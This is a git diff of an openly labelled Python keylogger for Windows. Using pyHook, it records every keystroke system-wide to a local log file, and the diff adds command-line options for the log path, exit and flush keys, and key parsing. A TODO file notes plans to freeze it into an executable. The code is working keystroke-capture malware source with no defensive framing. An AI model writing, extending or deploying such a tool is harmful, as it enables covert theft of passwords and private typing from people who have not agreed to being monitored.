diff --git a/TODO.txt b/TODO.txt
index fb962fd..ad6c60d 100644
--- a/TODO.txt
+++ b/TODO.txt
@@ -4,4 +4,4 @@ modify log capability to split keyboard input by window title+id
create a log parser, to parse in the non-printing characters (such as arrow keys and backspace/delete), to make log easier to read
-enable passing options via commandline, in preparation for exe freeze
\ No newline at end of file
+DONE: enable passing options via commandline, in preparation for exe freeze
\ No newline at end of file
diff --git a/keylogger.pyw b/keylogger.pyw
index e5fabce..b79263e 100644
--- a/keylogger.pyw
+++ b/keylogger.pyw
@@ -2,38 +2,44 @@ import pyHook
import time
import pythoncom
import sys
+from optparse import OptionParser
+
+
class KeyLogger:
''' Captures all keystrokes, and logs them to a text file
'''
- def __init__(self, hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt", addLineFeed=0, parseBackspace=0, parseEscape=0, debug=0):
+ def __init__(self): # hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", filename="C:\Temp\log.txt", addLineFeed=0, parseBackspace=0, parseEscape=0, debug=0):
+
+ self.ParseOptions()
+ '''
self.exitKey = exitKey #key we press to quit keylogger
self.flushKey = flushKey #key we press to make keylogger flush the file buffer (so we can check the log, for example)
self.parseBackspace = parseBackspace
self.parseEscape = parseEscape
self.addLineFeed = addLineFeed
self.debug = debug
-
+ '''
self.hm = pyHook.HookManager()
self.hm.KeyDown = self.OnKeyboardEvent
- if hookKeyboard == 1:
+ if self.options.hookKeyboard == True:
self.hm.HookKeyboard()
- if hookMouse == 1:
- self.hm.HookMouse()
+ #if self.options.hookMouse == True:
+ # self.hm.HookMouse()
- if self.debug == 0:
- self.log = open(logFile, 'a')
+ if self.options.debug == False:
+ self.log = open(self.options.filename, 'a')
#ascii subset is created as a filter to exclude funky non-printable chars from the log
self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape
self.asciiSubset.extend(range(32,128)) #all normal printable chars
- if self.parseBackspace == 1:
+ if self.options.parseBackspace == True:
self.asciiSubset.remove(8) #remove backspace from allowed chars if needed
- if self.parseEscape == 1:
+ if self.options.parseEscape == True:
self.asciiSubset.remove(27) #remove escape from allowed chars if needed
pythoncom.PumpMessages()
@@ -60,7 +66,7 @@ class KeyLogger:
'''
if event.Ascii in self.asciiSubset:
self.PrintStuff(chr(event.Ascii))
- if event.Ascii == 13 and self.addLineFeed == 1:
+ if event.Ascii == 13 and self.options.addLineFeed == True:
self.PrintStuff(chr(10)) #add line feed after CR,if option is set
#we translate all the special keys, such as arrows, backspace, into text strings for logging
@@ -69,30 +75,52 @@ class KeyLogger:
self.PrintStuff('[KeyName:' + event.Key + ']')
#translate backspace into text string, if option is set.
- if event.Ascii == 8 and self.parseBackspace == 1:
+ if event.Ascii == 8 and self.options.parseBackspace == True:
self.PrintStuff('[KeyName:' + event.Key + ']')
#translate escape into text string, if option is set.
- if event.Ascii == 27 and self.parseEscape == 1:
+ if event.Ascii == 27 and self.options.parseEscape == True:
self.PrintStuff('[KeyName:' + event.Key + ']')
- if event.Key == self.flushKey:
+ if event.Key == self.options.flushKey:
self.log.flush()
- if event.Key == self.exitKey:
+ if event.Key == self.options.exitKey:
sys.exit()
return True
def PrintStuff(self, stuff):
- if self.debug == 0:
+ if self.options.debug == False:
self.log.write(stuff)
else:
sys.stdout.write(stuff)
+
+ def ParseOptions(self):
+ #usage = "usage: %prog [options] arg"
+ parser = OptionParser()
+ parser.add_option("-f", "--file", action="store", dest="filename", help="write log data to FILENAME")
+ parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input (default)")
+ parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected [for Notepad compatibility]")
+ parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string")
+ parser.add_option("-e", "--parseescape", action="store_true", dest="parseEscape", help="translate escape chacarter into printable string")
+ parser.add_option("-x", "--exitkey", action="store", dest="exitKey", help="specify the key to press to exit keylogger [default: %default]")
+ parser.add_option("-l", "--flushkey", action="store", dest="flushKey", help="specify the key to press to flush write buffer to file [default: %default]")
+ parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file)")
+
+ parser.set_defaults(filename="C:\Temp\log.txt",
+ hookKeyboard=True,
+ addLineFeed=False,
+ parseBackspace=False,
+ parseEscape=False,
+ exitKey='F12',
+ flushKey='F11',
+ debug=False)
+
+ (self.options, args) = parser.parse_args()
+
if __name__ == '__main__':
kl = KeyLogger()
- #if you want to change keylogger behavior from defaults, comment out the above line, and uncomment below, changing
- #parameters as needed.
- #kl = KeyLogger(hookKeyboard=1, hookMouse=0, exitKey="F12", flushKey="F11", logFile="C:\Temp\log.txt", addLineFeed=1, parseBackspace=1, parseEscape=1, debug=0)
+ #if you want to change keylogger behavior from defaults, run it with commandline options. try '-h' for list of options.
\ No newline at end of file